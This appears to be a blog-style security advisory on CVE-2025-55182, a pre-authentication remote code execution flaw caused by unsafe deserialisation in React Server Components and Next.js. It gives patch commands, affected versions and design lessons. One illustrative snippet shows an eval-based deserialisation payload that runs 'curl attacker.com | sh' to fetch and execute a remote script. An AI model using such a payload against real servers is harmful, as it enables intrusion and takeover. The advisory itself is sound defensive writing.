# Critical Vulnerability in React Server Components (CVE-2025-55182)

**UPDATE: December 3, 2025** - A critical pre-authentication Remote Code Execution (RCE) vulnerability has been disclosed in React Server Components. This is a **CVSS 10.0** vulnerability. If you're running Next.js 15.x, 16.x, or React 19.x in production, **stop reading and patch immediately**.

## The Issue

**Affected:**

* React 19.0.0, 19.1.0, 19.1.1, 19.2.0
    
* Next.js 15.x and 16.x (all versions using App Router)
    
* Experimental canary releases starting with Next.js 14.3.0-canary.77
    

**Patched versions:**

* **React:** 19.0.1, 19.1.2, 19.2.1
    
* **Next.js:** 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
    

**Vulnerability:** Pre-authentication remote code execution via unsafe deserialisation in Server Function endpoints

**CVSS Score:** 10.0 (Critical)

**CVE ID:** CVE-2025-55182 (React), CVE-2025-66478 (Next.js)

## How to Update

### If you're using Next.js:

```bash
# Check your current version
npm list next

# Update to the latest patched version for your major version
npm install next@15.5.7  # For Next.js 15.x
npm install next@16.0.7  # For Next.js 16.x

# Verify the update
npm list next
```

### If you're using React directly with Server Components:

```bash
# Update to patched React versions
npm install react@19.2.1 react-dom@19.2.1

# Also update the affected server packages
npm install react-server-dom-webpack@19.2.1
npm install react-server-dom-turbopack@19.2.1
npm install react-server-dom-parcel@19.2.1
```

### If you're on Next.js 14.3 canary builds:

```bash
# Either downgrade to stable 14.x
npm install next@14.2.18

# Or downgrade to 14.3.0-canary.76 (last safe canary)
npm install next@14.3.0-canary.76

# Or upgrade to a patched 15.x/16.x version
npm install next@15.5.7
```

**After updating, redeploy immediately.** This isn't a "next deploy cycle" patch.

## What Happened?

React Server Components introduced a new attack surface: **Server Functions** (also called Server Actions in Next.js). These are functions you can call from the client that execute on the server.

Here's the simplified architecture:

```jsx
// app/actions.js
'use server'

export async function saveData(formData) {
  // This runs on the SERVER
  const data = formData.get('data');
  await db.save(data);
}
```

```jsx
// app/page.js
'use client'

import { saveData } from './actions'

export default function Page() {
  return (
    <form action={saveData}>
      <input name="data" />
      <button>Save</button>
    </form>
  )
}
```

When the user submits the form, the client sends an HTTP POST request to a special endpoint on your Next.js server. The server deserialises the request payload and executes the `saveData` function.

## **The Vulnerability**

The deserialisation process in React 19.0.0–19.2.0 **unsafely deserialises untrusted HTTP payloads** without proper validation.

An attacker can craft a malicious payload that, when deserialised, executes arbitrary code on your server.

## Why This Is a 10.0 CVSS (The Worst Possible Score)

CVSS 10.0 requires meeting these criteria:

* ✅ **Attack Vector: Network (AV:N)** - Exploitable remotely over HTTP
    
* ✅ **Attack Complexity: Low (AC:L)** - No special conditions required
    
* ✅ **Privileges Required: None (PR:N)** - No authentication needed (pre-auth RCE)
    
* ✅ **User Interaction: None (UI:N)** - Fully automated attack
    
* ✅ **Scope: Changed (S:C)** - Can compromise beyond the vulnerable component
    
* ✅ **Confidentiality Impact: High (C:H)** - Full data exfiltration possible
    
* ✅ **Integrity Impact: High (I:H)** - Full system compromise possible
    
* ✅ **Availability Impact: High (A:H)** - Complete denial of service possible
    

An unauthenticated attacker can send **a single HTTP request** to your publicly accessible Next.js application and **execute arbitrary code** on your server. They can:

* Read environment variables (API keys, database credentials, secrets)
    
* Execute system commands
    
* Install backdoors
    
* Exfiltrate your entire database
    
* Pivot to other services on your network
    
* Mine cryptocurrency
    
* Ransom your data
    

And they can do all of this **without needing an account or any interaction from your users**.

This is as bad as it gets.

## How the Exploit Works

### The Vulnerable Code Path

React Server Components serialise function arguments and return values using a custom serializstion format. When you call a Server Function from the client:

1. Client serialises the arguments into a special payload format
    
2. Client sends HTTP POST to `/_next/data/...` (Next.js) or your Server Function endpoint
    
3. **Server deserialises the payload** ← THE VULNERABILITY IS HERE
    
4. Server executes the function with the deserialised arguments
    
5. Server serialises the return value and sends it back
    

The vulnerability is in **step 3**. The affected React packages (`react-server-dom-webpack`, `react-server-dom-turbopack`, `react-server-dom-parcel`) deserialise the incoming payload without properly validating the data structure.

### Deserialisation Vulnerabilities

Unsafe deserialisation is **CWE-502**, one of the most dangerous vulnerability classes in web security. Here's why:

When you deserialise data, you're reconstructing an object from a serialised representation. If the deserialiser doesn't validate the structure, an attacker can craft a payload that:

1. Instantiates dangerous classes
    
2. Calls methods during object construction
    
3. Triggers code execution through property setters or getters
    
4. Exploits prototype pollution (in JavaScript)
    

**Classic example (simplified):**

```javascript
// Unsafe deserialization
function deserialize(payload) {
  return eval('(' + payload + ')');  
}

// Attacker sends:
deserialize("({toString: () => require('child_process').exec('curl attacker.com | sh')})")
```

The React vulnerability is more sophisticated than `eval()`, but the principle is the same. **Untrusted input is used to construct code or objects without validation**.

### Why Server Functions Are High-Risk Targets

Server Functions are attractive targets because:

1. **Public endpoints:** They're automatically exposed as HTTP endpoints
    
2. **No built-in rate limiting:** Easy to brute-force or DoS
    
3. **Direct server access:** Code executes in the same process as your app
    
4. **Environment variable access:** Can read `process.env` immediately
    
5. **No WAF signatures:** This is a new attack surface with no existing WAF rules
    

If you're using Server Functions for authentication, database writes, or API calls, an attacker can:

* Bypass authentication by calling the function directly
    
* Inject malicious data into your database
    
* Abuse your API keys to attack third-party services
    

## Who Is Affected?

### You ARE affected if:

* You're running **Next.js 15.x or 16.x** in production (any version)
    
* You're running **Next.js 14.3.0-canary.77 or later** canary builds
    
* You're using **React 19** with a custom Server Components setup (Remix, Waku, etc.)
    
* You're using the **App Router** in Next.js (the vulnerability is in Server Functions, which are App Router only)
    

### You are NOT affected if:

* You're on **Next.js 14.x stable** (14.0.0 through 14.2.x)
    
* You're on **Next.js 13.x or earlier**
    
* You're using **React 18 or earlier**
    
* You're using **Pages Router only** (no App Router, no Server Components)
    
* You're using **React 19 with RSC but none of the affected bundlers** (unlikely)
    

## Why This Vulnerability Existed

Server Components are **brand new**. React 19 was released in December 2024 (stable) after years in alpha/beta. Next.js 15 shipped in October 2024.

The React team built a novel serialisation protocol to handle:

* Client-to-server function calls
    
* Server-to-client streaming of RSC payloads
    
* Promises, symbols, and complex object graphs
    
* References between client and server
    

This is **hard**. Really hard. And the security implications weren't fully understood when the feature shipped.

**This is not a criticism of the React team.** They responsibly disclosed the vulnerability, shipped patches quickly, and published detailed advisories. This is how responsible disclosure should work.

But it's a reminder: **new features = new attack surface**.

## What Next.js and React Could Have Done Better

**(This is a learning opportunity, not an attack on the teams involved.)**

### 1\. Server Functions Should Have Been Opt-In

Server Functions are **on by default** if you use `'use server'`. This means every Next.js 15+ App Router application has this attack surface, even if developers don't realize it.

**Better approach:**

```javascript
// next.config.js
module.exports = {
  experimental: {
    serverActions: true  // Opt-in
  }
}
```

Make dangerous features opt-in, not opt-out.

### 2\. Rate Limiting Should Be Built-In

There's no built-in rate limiting for Server Functions. An attacker can make thousands of requests per second trying different payloads.

**Recommended:**

* Default rate limit: 100 requests/minute per IP
    
* Configurable in `next.config.js`
    
* Automatically enabled for all Server Functions
    

### 3\. Content Security Policy for Server Function Payloads

The server should validate the `Content-Type` and payload structure before deserializing.

**Example:**

```javascript
// Validate before deserializing
if (req.headers['content-type'] !== 'application/x-server-function') {
  return res.status(400).send('Invalid content type');
}

if (payload.length > MAX_PAYLOAD_SIZE) {
  return res.status(413).send('Payload too large');
}
```

### 4\. Security Docs Should Be Prominent

The Next.js documentation should have a **Security** section that covers:

* Server Functions are public HTTP endpoints
    
* Input validation is required
    
* Authentication is not automatic
    
* Rate limiting is your responsibility
    

This information exists but is buried. It should be in the main Server Functions guide.

## Final Thoughts

Server Components are powerful. They enable features that were impossible or impractical before:

* True server-client composition
    
* Streaming HTML
    
* Zero-bundle components
    
* Direct database access from components
    

But **power comes with responsibility**. The security model of React fundamentally changed with Server Components, and the ecosystem is still learning the implications.

**If you take one thing away from this article:** Update to the patched versions **immediately**. This is a pre-auth RCE with a 10.0 CVSS score. Attackers are scanning for vulnerable Next.js apps right now.

Don't be the next breach headline.

**Official advisories:**

* [React Security Advisory (CVE-2025-55182)](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components)
    
* [Meta Security Advisory](https://www.facebook.com/security/advisories/cve-2025-55182)
    
* [Next.js Security Advisory (GHSA-9qr9-h5gf-34mp)](https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp)